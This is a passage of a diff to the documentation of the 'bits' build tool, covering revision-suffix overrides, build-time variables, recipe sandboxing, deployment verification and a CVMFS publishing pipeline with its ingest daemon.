sandboxed on macOS (no network), so `HomebrewRecipe` +never installs — it only exposes an installed formula as a bits package by +symlinking its prefix into `$INSTALLROOT` (so `_ROOT`, `PKG_CONFIG_PATH` +etc. resolve to the Homebrew tree). `bits doctor` runs `brew bundle check` +against the Brewfile on macOS and reports missing formulae. + +The Brewfile is a **derived** artifact (the recipes are the source of truth): +regenerate and commit it whenever a recipe's `homebrew_formula` changes, and use +`bits brew --check` in CI to fail on a stale file. + + --- ### Merge semantics @@ -2566,6 +2022,55 @@ When the `::` list contains more than one name (e.g. `--defaults release::alice` This lets a project-level profile (`alice`) layer on top of a base profile (`release`) without duplicating common settings. Bits also validates that each component in the `::` list is present in any `valid_defaults` list found in the loaded recipes; it aborts with a clear error message if any component is incompatible. +--- + +### Forcing or Dropping the Revision Suffix (`force_revision`) + +By default every installed package path and tarball filename includes a **revision counter** assigned by bits, e.g. `slc9_amd64/gcc/15.2.1-1`. The trailing `-1` is the revision. For some packages — notably CMS software releases where the version string `CMSSW_13_0_0` is the authoritative label used by downstream infrastructure — this suffix is undesirable. The `force_revision` field lets you pin the revision to a specific value or drop it entirely, **without touching the recipe file**. + +`force_revision` is set in a `defaults-*.sh` file, never in a recipe, so different groups can reuse the same recipes while opting in or out independently. + +#### Per-package override + +```yaml +overrides: + "cmssw_.*": + force_revision: "" # drop the revision suffix entirely + "special-tool": + force_revision: "rc1" # pin to a literal string +``` + +When the regex matches a package name (case-insensitive), `spec["revision"]` is set to the given value before any counter logic runs. + +#### Global fallback + +Add a top-level `force_revision:` field to apply to every package not matched by an override: + +```yaml +# drops the revision suffix from every package in this defaults profile +force_revision: "" +``` + +A global value of `~` (YAML null) means "not set" and has no effect. + +#### How the install path changes + +| `force_revision` | Example install path | +|---|---| +| *(not set, default)* | `slc9_amd64/CMSSW_13_0_0/CMSSW_13_0_0-1` | +| `"1"` (pinned to 1) | `slc9_amd64/CMSSW_13_0_0/CMSSW_13_0_0-1` | +| `"rc1"` (literal) | `slc9_amd64/CMSSW_13_0_0/CMSSW_13_0_0-rc1` | +| `""` (empty, drop) | `slc9_amd64/CMSSW_13_0_0/CMSSW_13_0_0` | + +The content-addressed store path (`TARS//store/

//`) is unaffected — binary integrity is always preserved via the hash. + +#### Risks and caveats + +**Symlink overwrite risk (empty revision only).** When `force_revision: ""` is used, two different builds of the same version share the same install path. The convenience symlinks (`latest`, `latest-*`) will be silently overwritten by the later build. bits emits a `WARNING` when it detects `force_revision: ""` on a package. + +**No `local` prefix protection.** Normally bits prefixes revision numbers with `local` (e.g. `local1`) when there is no writable remote store. When `force_revision` is set, this prefix logic is bypassed and the revision is used exactly as given — revision collision is possible if a literal integer is used in a mixed local/remote workflow. + +**Shared across defaults profiles.** If you share a workspace between two groups using different defaults files — one with `force_revision: ""` and one without — the paths they install to will differ. Keep workspaces separate or agree on a common value. --- @@ -2670,31 +2175,91 @@ The feature is entirely opt-in. A recipe without `architecture: shared` behaves ### Recipe build-time variables -Variables injected by bits into every package build script. See [§17 Build-time environment variables](#build-time-environment-variables) for the full reference including `$SOURCE0`/`$PATCHn`/`$PKGFAMILY` and dependency path variables. +These variables are set automatically inside each package's Bash build script by `build_template.sh` before the recipe body is sourced. They cannot be overridden by the recipe. + +#### Core build paths + +| Variable | Purpose | +|----------|---------| +| `$INSTALLROOT` | Install all files here (the final installation prefix). Created by bits before the recipe runs. | +| `$BUILDDIR` | Temporary build directory inside `$BUILDROOT`. Created automatically. | +| `$SOURCEDIR` | Checked-out source directory (git) or the directory where archives are downloaded (`sources:`). | +| `$BUILDROOT` | Parent of `$BUILDDIR`; corresponds to `BUILD//` in the work tree. | +| `$PKGPATH` | Relative path from the work directory to the install root: `[/]//-`. | + +#### Package identity + +| Variable | Purpose | +|----------|---------| +| `$PKGNAME` | Package name as declared in the recipe. | +| `$PKGVERSION` | Package version string. | +| `$PKGREVISION` | Build revision (integer, incremented on each local rebuild). | +| `$PKGHASH` | Unique content-addressable build hash (hex string). | +| `$PKGFAMILY` | Install family (empty string if no family is assigned). | +| `$BUILD_FAMILY` | Full `build_family` string, which may include the defaults combination used. | +| `$ARCHITECTURE` | Real build-host architecture string (e.g. `ubuntu2204_x86-64`). | +| `$EFFECTIVE_ARCHITECTURE` | `shared` for shared packages; equal to `$ARCHITECTURE` otherwise. | +| `$JOBS` | Parallel compilation jobs. Pass to `make -j$JOBS`, `cmake --build --parallel $JOBS`, etc. Already divided across `--builders` and reduced by `mem_per_job` when memory is tight (see [Memory- and load-aware parallelism](#memory-aware-parallelism)). | +| `$COMMIT_HASH` | Git commit SHA checked out for the `source:` field. | +| `$BITS_SCRIPT_DIR` | Absolute path to the bits installation directory. | +| `$INCREMENTAL_BUILD_HASH` | Non-zero when an incremental recipe is in use (development mode). | +| `$DEVEL_PREFIX` | Non-empty for development packages (directory name of the devel source tree). | + +#### Source archives (`sources:` field) + +When the recipe uses the `sources:` field, bits downloads each archive to `$SOURCEDIR` before the recipe runs: + +| Variable | Purpose | +|----------|---------| +| `$SOURCE0` | Filename (basename) of the first archive. | +| `$SOURCE1` | Filename of the second archive (if present). | +| `$SOURCEn` | Filename of the *n*-th archive (zero-indexed). | +| `$SOURCE_COUNT` | Total number of source archives (`0` if no `sources:` field). | + +```bash +tar -xzf "$SOURCEDIR/$SOURCE0" -C "$BUILDDIR" +[ "$SOURCE_COUNT" -gt 1 ] && tar -xzf "$SOURCEDIR/$SOURCE1" -C "$BUILDDIR/data" +``` + +#### Patch files (`patches:` field) + +| Variable | Purpose | +|----------|---------| +| `$PATCH0` | Filename (basename) of the first patch file. | +| `$PATCHn` | Filename of the *n*-th patch file (zero-indexed). | +| `$PATCH_COUNT` | Total number of patch files (`0` if no `patches:` field). | + +```bash +cd "$SOURCEDIR" +for i in $(seq 0 $(( PATCH_COUNT - 1 ))); do + eval patch_file="\$PATCH$i"; patch -p1 < "$SOURCEDIR/$patch_file" +done +``` + +#### Dependency variables + +| Variable | Purpose | +|----------|---------| +| `$REQUIRES` | Space-separated runtime + build-time dependencies. | +| `$BUILD_REQUIRES` | Space-separated build-time-only dependencies. | +| `$RUNTIME_REQUIRES` | Space-separated runtime-only dependencies. | +| `$FULL_REQUIRES` | Full transitive closure of `requires`. | +| `$FULL_BUILD_REQUIRES` | Full transitive closure of `build_requires`. | +| `$FULL_RUNTIME_REQUIRES` | Full transitive closure of `runtime_requires`. | + +For each built dependency `DEP`, bits also sets `${DEP_ROOT}` to its absolute install path (e.g. `$ZLIB_ROOT/include/zlib.h`). | Variable | Purpose | |----------|---------| -| `$INSTALLROOT` | Installation prefix. All package files go here. | -| `$BUILDDIR` | Temporary build working directory. | -| `$SOURCEDIR` | Checked-out source or downloaded archive directory. | -| `$JOBS` | Parallel job count (from `-j`, adjusted by `mem_per_job`). | -| `$PKGNAME` | Package name. | -| `$PKGVERSION` | Package version. | -| `$PKGHASH` | Content-addressable build hash. | -| `$PKGFAMILY` | Install family (empty if no family assigned). | -| `$ARCHITECTURE` | Real build-host architecture string. | -| `$EFFECTIVE_ARCHITECTURE` | `shared` for shared packages, otherwise same as `$ARCHITECTURE`. | -| `$SOURCE_COUNT` | Number of source archives (0 if no `sources:` field). | -| `$PATCH_COUNT` | Number of patch files (0 if no `patches:` field). | -| `$BITS_PROVIDERS` | URL or comma-separated list of URLs identifying the active provider repository set. Set from `BITS_PROVIDERS` env var, `providers` key in `bits.rc`, or built-in default. | +| `$BITS_PROVIDERS` | URL(s) identifying the active provider repository set. | ### Build and configuration variables | Variable | Default | Purpose | |----------|---------|---------| -| `BITS_BRANDING` | `bits` | Tool branding string used in log output. | -| `BITS_ORGANISATION` | `ALICE` | Organisation name used in config lookup. | -| `BITS_PKG_PREFIX` | `VO_ALICE` | Package-name prefix shown by `bits q`. | +| `BITS_BRANDING` | _(empty)_ | Cosmetic program-name branding; set by the `aliBuild` wrapper. | +| `BITS_ORGANISATION` | _(empty)_ | Organisation selecting the registry/provider "home" repo. Empty by default; the `aliBuild` wrapper sets `ALICE`, or use `--organisation` / `bits.rc`. | +| `BITS_PKG_PREFIX` | _(empty)_ | Display prefix for `bits q`. Empty prints native `PKG/VERSION`; when set (e.g. `VO_ALICE` via `aliBuild`) output becomes `PREFIX@PKG::VERSION`. | | `BITS_REPO_DIR` | `alidist` | Root directory for recipe repositories. | | `BITS_WORK_DIR` | `sw` | Output and work directory. | | `BITS_PATH` | _(empty)_ | Comma-separated list of additional recipe search directories. Absolute paths are used directly; relative names have `.bits` appended and are resolved under `BITS_REPO_DIR`. | @@ -3080,7 +2645,7 @@ bits publish ROOT \ --- -## 22a. Recipe Sandbox +## §22.1 Recipe Sandbox Bits can run each recipe build script inside an isolated sandbox to limit the damage a malicious or buggy recipe can do. The sandbox wraps the actual `bash build.sh` execution — it does not affect source downloads, tarball extraction, or publishing. @@ -3088,10 +2653,12 @@ Bits can run each recipe build script inside an isolated sandbox to limit the da | Platform | Default sandbox | Mechanism | |----------|-----------------|-----------| -| Linux (local build) | podman if available, otherwise `off` | Rootless `podman run` with `--userns=keep-id` | +| Linux (local build, no `--docker`) | `off` | podman is **not** used (or even probed) for plain local builds | | macOS (local build) | `sandbox-exec` if available, otherwise `off` | Built-in SBPL sandbox profile; no VM, no overhead | | Any platform, `--docker` active | Nested podman inside the container, if available | `podman run` launched from inside the Docker build container | +> **Note.** On a local Linux build without `--docker`, `--sandbox=auto` resolves to `off` and bits never invokes `podman` (not even `podman info`). podman-based recipe isolation on Linux is only engaged when the build runs inside `--docker`, or when it is requested explicitly with `--sandbox=podman` / `--sandbox-image`. + The workDir is bind-mounted at the same absolute path inside the podman container so that all paths embedded in the build environment (`$WORK_DIR`, `$INSTALLROOT`, `$SOURCEDIR`, etc.) resolve correctly. ### Sandbox modes @@ -3100,7 +2667,7 @@ Pass `--sandbox MODE` to `bits build`: | Mode | Behaviour | |------|-----------| -| `auto` | (default) Pick the best available option — podman on Linux, `sandbox-exec` on macOS, nested podman when `--docker` is active. Falls back to `off` with a warning if nothing is available. | +| `auto` | (default) Pick the best available option: `sandbox-exec` on macOS, nested podman when `--docker` is active, and `off` on a local Linux build (no `--docker`). On local Linux, podman is neither used nor probed — request it explicitly with `--sandbox=podman` if you want it. | | `podman` | Always use podman. Requires the podman binary to be reachable and `podman info` to succeed. When used without `--docker`, also requires `--sandbox-image` to name the container image. | | `sandbox-exec` | macOS only. Fails with an error on Linux. | | `off` | No sandboxing. Recipe runs directly on the host (same as the behaviour before this feature was added). | @@ -3157,7 +2724,7 @@ Bits detects this situation automatically (by checking for `/.dockerenv` and `/p --- -## 22b. Cross-compilation via QEMU +## §22.2 Cross-compilation via QEMU Bits supports cross-compilation on any Docker-capable host by combining Docker's `--platform` flag with QEMU user-mode emulation. When the target architecture @@ -3280,7 +2847,7 @@ bits build MyAnalysis -a slc9_aarch64 --docker --sandbox=off --- -## 22c. bits verify — Deployment Verification +## 23. bits verify — Deployment Verification `bits verify` confirms that a live deployment — packages in a CVMFS mount or a local work directory — matches the build manifest written by `bits build`. It @@ -3353,169 +2920,53 @@ a local overlay (for personal analysis packages). ``` ANSI colours are emitted when stdout is a TTY: green for PASS, red for FAIL, -yellow for MISS, dark grey for SKIP. - -**JSON (`--json`)** - -```json -{ - "manifest_created_at": "2026-01-15T08:42:11Z", - "manifest_status": "success", - "schema_version": 2, - "architecture": { "manifest": "slc9_x86-64", "host": "slc9_x86-64", "status": "PASS" }, - "packages": [ - { "package": "ROOT", "version": "6.32.02", "revision": "1", "status": "PASS", "detail": "sha256 OK" }, - ... - ], - "providers": [ ... ], - "summary": { "PASS": 2, "FAIL": 0, "MISS": 1, "SKIP": 2 }, - "exit_code": 2 -} -``` - -### Exit codes - -| Code | Meaning | -|------|---------| -| 0 | All verifiable entries match — deployment is consistent with the manifest. | -| 1 | One or more entries are **FAIL** (hash mismatch or provider commit mismatch). | -| 2 | One or more entries are **MISS** (tarball not found; consistency unknown). If there are also FAILs, exit code 1 takes precedence. | -| 3 | The manifest file cannot be read or is malformed. | - -### Status values - -| Status | Meaning | -|--------|---------| -| **PASS** | Entry verified successfully. | -| **FAIL** | Checksum or commit mismatch — the deployed artifact differs from the build record. | -| **MISS** | Tarball not found in any search root — cannot confirm consistency. | -| **SKIP** | Entry not verifiable on this machine (already-installed packages, absent provider checkouts). | - -### CLI reference {#cli-reference-verify} - -| Flag | Default | Description | -|------|---------|-------------| -| `--from-manifest FILE` | _(required)_ | Path to the bits build manifest JSON file. | -| `--cvmfs-root PATH` | _(none)_ | Root of a CVMFS tarball store to search first (e.g. `/cvmfs/alice.cern.ch`). | -| `-w / --work-dir DIR` | `sw` | Local bits work directory containing the `TARS/` store. | -| `--no-providers` | off | Skip verification of provider checkout commits. | -| `--json` | off | Emit a machine-readable JSON report instead of the human-readable table. | - ---- - -## 23. Forcing or Dropping the Revision Suffix (`force_revision`) - -By default every installed package path and tarball filename includes a -**revision counter** assigned by bits, e.g.: - -``` -slc9_amd64/gcc/15.2.1-1 -``` - -The trailing `-1` is the revision. For some packages — notably CMS software -releases where the version string `CMSSW_13_0_0` is the authoritative label -used by downstream infrastructure — this suffix is undesirable. The -`force_revision` feature lets you pin the revision to a specific value or drop -it entirely, **without touching the recipe file**. - ---- - -### 23.1 Configuration mechanism - -`force_revision` is set in a `defaults-*.sh` file, never in a recipe. This -lets different groups reuse the same recipes while opting in or out -independently. - -#### Per-package override - -Use the `overrides:` block to target individual packages by regex: - -```yaml -overrides: - "cmssw_.*": - force_revision: "" # drop the revision suffix entirely - "special-tool": - force_revision: "rc1" # pin to a literal string -``` - -When the regex matches a package name (case-insensitive), `spec["revision"]` -is set to the given value before any counter logic runs. - -#### Global fallback - -Add a top-level `force_revision:` field to apply to every package not already -matched by an override entry: - -```yaml -# drops the revision suffix from every package in this defaults profile -force_revision: "" -``` - -A global value of `~` (YAML null) means "not set" and has no effect. - ---- - -### 23.2 How the install path changes - -| `force_revision` | Example install path | -|---|---| -| *(not set, default)* | `slc9_amd64/CMSSW_13_0_0/CMSSW_13_0_0-1` | -| `"1"` (pinned to 1) | `slc9_amd64/CMSSW_13_0_0/CMSSW_13_0_0-1` | -| `"rc1"` (literal) | `slc9_amd64/CMSSW_13_0_0/CMSSW_13_0_0-rc1` | -| `""` (empty, drop) | `slc9_amd64/CMSSW_13_0_0/CMSSW_13_0_0` | - -The **content-addressed store path** (`TARS//store/

//`) is -unaffected regardless of the value — binary integrity is always preserved via -the hash. - ---- - -### 23.3 Risks and caveats - -**Symlink overwrite risk (empty revision only)** - -When `force_revision: ""` is used, two different builds of the same version -share the same install path. The convenience symlinks (`latest`, `latest-*`) -will be silently overwritten by the later build. The content-hash store entry -is NOT overwritten, so the binary itself is safe — but only the *last* build -will be accessible via the version-named path. - -bits emits a runtime `WARNING` when it detects `force_revision: ""` on a -package. - -**No `local` prefix protection** +yellow for MISS, dark grey for SKIP. -Normally bits prefixes revision numbers with `local` (e.g. `local1`) when -there is no writable remote store, to avoid conflicts with a remote that might -assign the same integer revision. When `force_revision` is set this prefix -logic is bypassed — the revision is used exactly as given. If you use a -literal integer (e.g. `force_revision: "1"`) in a mixed local/remote workflow, -revision collision is possible. +**JSON (`--json`)** -**Shared across defaults profiles** +```json +{ + "manifest_created_at": "2026-01-15T08:42:11Z", + "manifest_status": "success", + "schema_version": 2, + "architecture": { "manifest": "slc9_x86-64", "host": "slc9_x86-64", "status": "PASS" }, + "packages": [ + { "package": "ROOT", "version": "6.32.02", "revision": "1", "status": "PASS", "detail": "sha256 OK" }, + ... + ], + "providers": [ ... ], + "summary": { "PASS": 2, "FAIL": 0, "MISS": 1, "SKIP": 2 }, + "exit_code": 2 +} +``` -The `force_revision` value is read from the active defaults profile at build -time. If you share a workspace between two groups that use different defaults -files — one with `force_revision: ""` and one without — the paths they install -to will differ. Keep workspaces separate or agree on a common value. +### Exit codes ---- +| Code | Meaning | +|------|---------| +| 0 | All verifiable entries match — deployment is consistent with the manifest. | +| 1 | One or more entries are **FAIL** (hash mismatch or provider commit mismatch). | +| 2 | One or more entries are **MISS** (tarball not found; consistency unknown). If there are also FAILs, exit code 1 takes precedence. | +| 3 | The manifest file cannot be read or is malformed. | -### 23.4 Implementation notes +### Status values -Internally bits computes the install-path segment with the helper: +| Status | Meaning | +|--------|---------| +| **PASS** | Entry verified successfully. | +| **FAIL** | Checksum or commit mismatch — the deployed artifact differs from the build record. | +| **MISS** | Tarball not found in any search root — cannot confirm consistency. | +| **SKIP** | Entry not verifiable on this machine (already-installed packages, absent provider checkouts). | -```python -# bits_helpers/utilities.py -def ver_rev(spec): - rev = spec.get("revision", "") - return "{}-{}".format(spec["version"], rev) if rev else spec["version"] -``` +### CLI reference {#cli-reference-verify} -Every place in the codebase that previously wrote -`"{version}-{revision}".format(**spec)` now calls `ver_rev(spec)` so that the -forced/dropped revision is honoured consistently across the install tree, -tarballs, symlinks, `init.sh`, dist trees, and all remote-store backends. +| Flag | Default | Description | +|------|---------|-------------| +| `--from-manifest FILE` | _(required)_ | Path to the bits build manifest JSON file. | +| `--cvmfs-root PATH` | _(none)_ | Root of a CVMFS tarball store to search first (e.g. `/cvmfs/alice.cern.ch`). | +| `-w / --work-dir DIR` | `sw` | Local bits work directory containing the `TARS/` store. | +| `--no-providers` | off | Skip verification of provider checkout commits. | +| `--json` | off | Emit a machine-readable JSON report instead of the human-readable table. | --- @@ -3739,632 +3190,8 @@ survives even if the local ledger directory is deleted. ## 26. CVMFS Publishing Pipeline -### Overview - -The CVMFS publishing pipeline allows a package that has been built with -`bits build` to be pre-staged into CVMFS backend storage and published via -a fast, catalog-only transaction — instead of the conventional approach where -every file is compressed and hashed inside the transaction itself. - -The key insight is that CVMFS content-addressed storage separates two -independent concerns: (a) ingesting file blobs into the backend and (b) -updating the SQLite catalog. Only (b) requires an exclusive transaction. -By doing (a) ahead of time — in parallel, on separate hosts — the transaction -window shrinks to seconds regardless of package size. - -**Two supported delivery paths** - -| Path | When to use | Runner requirement | -|---|---|---| -| **cvmfs-prepub** (recommended) | New deployments; single service handles ingest + publish | `bits-build` only | -| **Legacy spool** (still supported) | Existing deployments already running `cvmfs-ingest` | `bits-build` + `bits-ingest` + `bits-cvmfs-publisher` | - -For new communities, use the cvmfs-prepub path. Legacy spool deployments -continue to work without change. - ---- - -**cvmfs-prepub path — pipeline stages** - -The `cvmfs-prepub` service (from the `cvmfs-bits` repository) collapses the -three-runner, three-stage legacy pipeline into a single REST API call on the -build host. - -| Stage | Runs on | Tool | -|---|---|---| -| Build | Platform build host | `bits build` | -| Copy + Relocate | Build host | `bits publish` (local operations only) | -| Tar + Submit | Build host | `bits publish --prepub-url` → HTTP POST to `cvmfs-prepub` | -| Ingest + Publish | cvmfs-prepub host | `cvmfs-prepub` (CAS pipeline + gateway transaction) | - -The build host only needs to reach the cvmfs-prepub HTTPS endpoint. -No SSH keys for an ingestion spool are required. - ---- - -**Legacy spool path — pipeline stages** - -| Stage | Runs on | Tool | -|---|---|---| -| Build | Platform build host | `bits build` | -| Copy | Build host | `bits publish` (local rsync) | -| Relocate | Build host | `bits publish` → `relocate-me.sh` | -| Transfer | Build host → Ingestion host | `bits publish` (rsync + inotifywait) | -| Ingest | Ingestion host | `cvmfs-ingest` | -| Publish | Stratum-0 / publisher host | `cvmfs-publish.sh` | - -The original INSTALLROOT produced by `bits build` is never modified. All -relocation happens on a temporary copy that is discarded after transfer. - -**Repositories** - -- `bits` (this repository) — provides the `bits publish` command. -- [`bits-cvmfs-ingest`](https://github.com/bitsorg/bits-cvmfs-ingest) — - provides the `cvmfs-ingest` Go daemon and `cvmfs-publish.sh`. -- `bits-workflows` — provides reusable GitHub Actions and GitLab CI pipeline - definitions. - ---- - -### bits publish - -`bits publish` is a `bits` sub-command that orchestrates the build-host side -of the pipeline: copy, relocate, and deliver to either a cvmfs-prepub service -or a legacy ingestion spool. Exactly one of `--prepub-url` or `--spool` must -be given; they are mutually exclusive. - -``` -# cvmfs-prepub path (recommended): -bits publish PACKAGE [VERSION] - --cvmfs-target PATH - --prepub-url URL - [--prepub-token TOKEN] - [--prepub-repo REPO] - [--prepub-path SUBPATH] - [--prepub-webhook URL] - [--prepub-poll-interval SEC] - [--prepub-timeout SEC] - [--prepub-no-verify-tls] - [--work-dir WORKDIR] - [--architecture ARCH] - [--scratch-dir DIR] - [--no-relocate] - -# Legacy spool path: -bits publish PACKAGE [VERSION] - --cvmfs-target PATH - --spool [USER@HOST:]PATH - [--work-dir WORKDIR] - [--architecture ARCH] - [--scratch-dir DIR] - [--rsync-opts OPTS] - [--no-relocate] -``` - -**Common arguments** - -| Argument / Flag | Required | Description | -|---|---|---| -| `PACKAGE` | yes | Package name, as used in the recipe (e.g. `absl`). | -| `VERSION` | no | Version string (e.g. `20230802.1-1`). Defaults to the latest build found under `WORKDIR`. | -| `--cvmfs-target PATH` | yes | Absolute path the package will occupy on CVMFS, e.g. `/cvmfs/sft.cern.ch/lcg/releases/absl/20230802.1/x86_64-el9`. This path is passed to `relocate-me.sh` as the new install prefix, unless `--no-relocate` is given. | -| `--work-dir WORKDIR` | no | bits work directory. Default: `sw` (or `$BITS_WORK_DIR`). | -| `--architecture ARCH` | no | Build architecture. Default: auto-detected. | -| `--scratch-dir DIR` | no | Directory for the temporary CVMFS working copy. Default: system temp dir. | -| `--no-relocate` | no | Skip `relocate-me.sh` and stream the tree as-is. Use when the package was built with `--cvmfs-prefix` so paths already match the deployment target. | - -**cvmfs-prepub arguments** (use instead of `--spool`) - -| Argument / Flag | Required | Description | -|---|---|---| -| `--prepub-url URL` | yes* | Base URL of the cvmfs-prepub REST API (no trailing slash), e.g. `https://prepub.example.org:8080`. *Mutually exclusive with `--spool`. | -| `--prepub-token TOKEN` | no | Bearer token for the API. Falls back to the `PREPUB_API_TOKEN` environment variable. Omit in dev mode (no-auth server). | -| `--prepub-repo REPO` | no | CVMFS repository name (e.g. `sft.cern.ch`). Derived automatically from `--cvmfs-target` when not set. | -| `--prepub-path SUBPATH` | no | Lease sub-path relative to the repo root (e.g. `lcg/releases/absl/20230802.1`). Derived automatically from `--cvmfs-target` when not set. | -| `--prepub-webhook URL` | no | URL that cvmfs-prepub POSTs to when the job reaches a terminal state. | -| `--prepub-poll-interval SEC` | no | Seconds between status polls. Default: 10. | -| `--prepub-timeout SEC` | no | Total seconds to wait for the job to finish. Default: 1800 (30 min). | -| `--prepub-no-verify-tls` | no | Disable TLS certificate verification (self-signed certs / dev mode only). | - -**Legacy spool arguments** (use instead of `--prepub-url`) - -| Argument / Flag | Required | Description | -|---|---|---| -| `--spool` | yes* | Ingestion spool root. Either a local directory (`/var/spool/cvmfs-ingest`) or a remote rsync target (`user@host:/path`). *Mutually exclusive with `--prepub-url`. | -| `--rsync-opts OPTS` | no | Extra options passed verbatim to every `rsync` invocation, e.g. `"-e 'ssh -i ~/.ssh/my_key'"`. | - -**What the cvmfs-prepub path does** - -1. Locates the package's immutable INSTALLROOT under `WORKDIR`. -2. `rsync -a`-copies the INSTALLROOT to a scratch working copy. -3. Runs `relocate-me.sh` with `INSTALL_BASE` set to `--cvmfs-target` (unless `--no-relocate`). -4. Creates a `.tar.gz` of the relocated working copy and removes the copy to free disk space. -5. POSTs the tar to `/api/v1/jobs` as `multipart/form-data` (with SHA-256 digest for server-side integrity checking). -6. Polls `GET /api/v1/jobs/` every `--prepub-poll-interval` seconds until the job reaches `published`, `failed`, or `aborted`, or until `--prepub-timeout` is exceeded. -7. Removes the temporary tar. - -**What the legacy spool path does** - -1. Locates the immutable INSTALLROOT. -2. `rsync -a`-copies it to a scratch working copy. -3. Starts an `inotifywait` watcher (when available) so files modified by relocation are queued for transfer immediately. -4. Runs `relocate-me.sh`. -5. Falls back to a single bulk rsync if `inotifywait` is unavailable. -6. Writes a `.done` sentinel to `/incoming/`. -7. Removes the scratch working copy. - -**pkg-id format** - -The package identifier used to name spool directories, tars, and manifests is: - -``` --- -``` - -Example: `absl-20230802.1-1-x86_64_el9` - -**Examples** - -```bash -# cvmfs-prepub path — token from environment variable -export PREPUB_API_TOKEN=my-bearer-token -bits publish absl \ - --cvmfs-target /cvmfs/sft.cern.ch/lcg/releases/absl/20230802.1/x86_64-el9 \ - --prepub-url https://prepub.example.org:8080 - -# Legacy spool path -bits publish absl \ - --cvmfs-target /cvmfs/sft.cern.ch/lcg/releases/absl/20230802.1/x86_64-el9 \ - --spool ingestuser@ingest-host.example.com:/var/spool/cvmfs-ingest \ - --rsync-opts "-e 'ssh -i ~/.ssh/ingest_key'" -``` - ---- - -### bits-cvmfs-ingest — building from source - -The ingestion daemon is a standalone Go project hosted at -[`github.com/bitsorg/bits-cvmfs-ingest`](https://github.com/bitsorg/bits-cvmfs-ingest). - -**Prerequisites** - -- Go 1.22 or newer (`go version` to check). -- Network access to download Go module dependencies (or a pre-populated - module cache / GOPROXY). - -**Clone and build** - -```bash -git clone https://github.com/bitsorg/bits-cvmfs-ingest.git -cd bits-cvmfs-ingest -go mod tidy # downloads and pins all dependencies; generates go.sum -go build ./cmd/cvmfs-ingest/ -``` - -This produces a `cvmfs-ingest` binary in the current directory. - -**Static binary for deployment** - -The ingestion host typically runs a different Linux distribution from the -build host. Build a fully static binary to avoid libc version mismatches: - -```bash -CGO_ENABLED=0 GOOS=linux GOARCH=amd64 \ - go build -o cvmfs-ingest ./cmd/cvmfs-ingest/ -``` - -For AArch64 (e.g. an ARM ingestion node): - -```bash -CGO_ENABLED=0 GOOS=linux GOARCH=arm64 \ - go build -o cvmfs-ingest-aarch64 ./cmd/cvmfs-ingest/ -``` - -**Install system-wide** - -```bash -go install ./cmd/cvmfs-ingest/ -# installs to $(go env GOPATH)/bin/cvmfs-ingest (typically ~/go/bin/) -``` - -Add `$(go env GOPATH)/bin` to `PATH` or copy the binary to `/usr/local/bin`. - -**Verify** - -```bash -./cvmfs-ingest --help -``` - ---- - -### bits-cvmfs-ingest — configuration and running - -`cvmfs-ingest` has no configuration file; all settings are passed as -command-line flags. - -**Spool directory layout** - -The daemon owns and manages these subdirectories under `--spool`: - -``` -/ - incoming/ ← rsync destination from build hosts - processing/ ← package trees moved here atomically on .done arrival - completed/ ← manifests (.manifest.json) and graft trees (.grafts/) -``` - -**Flags** - -| Flag | Default | Description | -|---|---|---| -| `--spool PATH` | *(required)* | Root of the spool directory tree. The daemon creates subdirectories automatically. | -| `--backend TYPE` | `local` | Backend type: `local` (filesystem) or `s3` (S3-compatible object store). | -| `--backend-path PATH` | *(required for local)* | Root path of the CVMFS backend filesystem, e.g. `/srv/cvmfs/sft.cern.ch`. Blobs are written under `/data//`. | -| `--s3-bucket NAME` | *(required for s3)* | S3 bucket name. | -| `--s3-prefix PREFIX` | *(empty)* | Optional key prefix inside the bucket (no trailing slash). | -| `--s3-endpoint URL` | *(empty)* | Custom endpoint for S3-compatible stores (Ceph, MinIO, EOS S3). Leave empty for AWS S3. | -| `--s3-region REGION` | `us-east-1` | S3 region. | -| `--hash ALGO` | `sha1` | Content hash algorithm: `sha1` (CVMFS default) or `sha256`. Must match the repository's hash algorithm. | -| `--concurrency N` | `2×GOMAXPROCS` | Worker pool size for parallel compress+hash+upload. | -| `--once` | `false` | Process existing spool contents and exit without starting the watch loop. Used by CI jobs. | -| `--log-level LEVEL` | `info` | Log verbosity: `debug`, `info`, `warn`, `error`. | - -**S3 credentials** are read from the standard AWS credential chain: -environment variables (`AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`), -`~/.aws/credentials`, or an IAM instance role. - -**Daemon mode — local backend** - -```bash -cvmfs-ingest \ - --spool /var/spool/cvmfs-ingest \ - --backend local \ - --backend-path /srv/cvmfs/sft.cern.ch \ - --hash sha1 \ - --concurrency 8 \ - --log-level info -``` - -The daemon watches `incoming/` for `.done` sentinels and processes packages -as they arrive. Send `SIGTERM` or `SIGINT` (Ctrl-C) for a clean shutdown. - -**Daemon mode — S3 backend** - -```bash -export AWS_ACCESS_KEY_ID=... -export AWS_SECRET_ACCESS_KEY=... - -cvmfs-ingest \ - --spool /var/spool/cvmfs-ingest \ - --backend s3 \ - --s3-bucket cvmfs-backend \ - --s3-prefix sft.cern.ch \ - --s3-endpoint https://s3.cern.ch \ - --hash sha1 \ - --concurrency 16 -``` - -**Once mode — for CI jobs** - -```bash -cvmfs-ingest \ - --spool /var/spool/cvmfs-ingest \ - --backend local \ - --backend-path /srv/cvmfs/sft.cern.ch \ - --once -``` - -Processes all packages whose sentinel has arrived and exits with code `0` on -success or non-zero if any package failed. - -**Restart safety** - -On startup, the daemon scans `processing/` for any directories left by a -previously interrupted run and re-ingests them. Blob uploads are idempotent -(existing blobs are detected via `HEAD` / `stat` and skipped), so re-running -on a partially-ingested package is safe. - -**Output — completed manifest** - -For each successfully ingested package, the daemon writes: - -``` -/completed/.manifest.json ← consumed by cvmfs-publish.sh -/completed/.grafts/ ← graft sidecar tree -``` - -The manifest is a JSON document: - -```json -{ - "pkg_id": "absl-20230802.1-1-x86_64_el9", - "cvmfs_target": "/cvmfs/sft.cern.ch/lcg/releases/absl/20230802.1/x86_64-el9", - "grafts_dir": "/var/spool/cvmfs-ingest/completed/absl-20230802.1-1-x86_64_el9.grafts", - "created_at": "2026-04-12T14:23:00Z", - "file_count": 1842, - "total_size_bytes": 312456192, - "files": [ - { - "rel_path": "lib/libabsl_base.so.2308021", - "hash": "a3f1...", - "hash_algo": "sha1", - "size": 204800, - "compressed_size": 98304, - "blob_key": "a3/f1..." - } - ] -} -``` - ---- - -### cvmfs-publish.sh — the publisher script - -`cvmfs-publish.sh` is a shell script that opens a CVMFS transaction, places -the pre-staged graft tree into the repository mount point, and publishes. -It lives in the `bits-cvmfs-ingest` repository and must run on the -stratum-0 host (or a host with write access to the CVMFS transaction lock). - -**Usage** - -```bash -bash 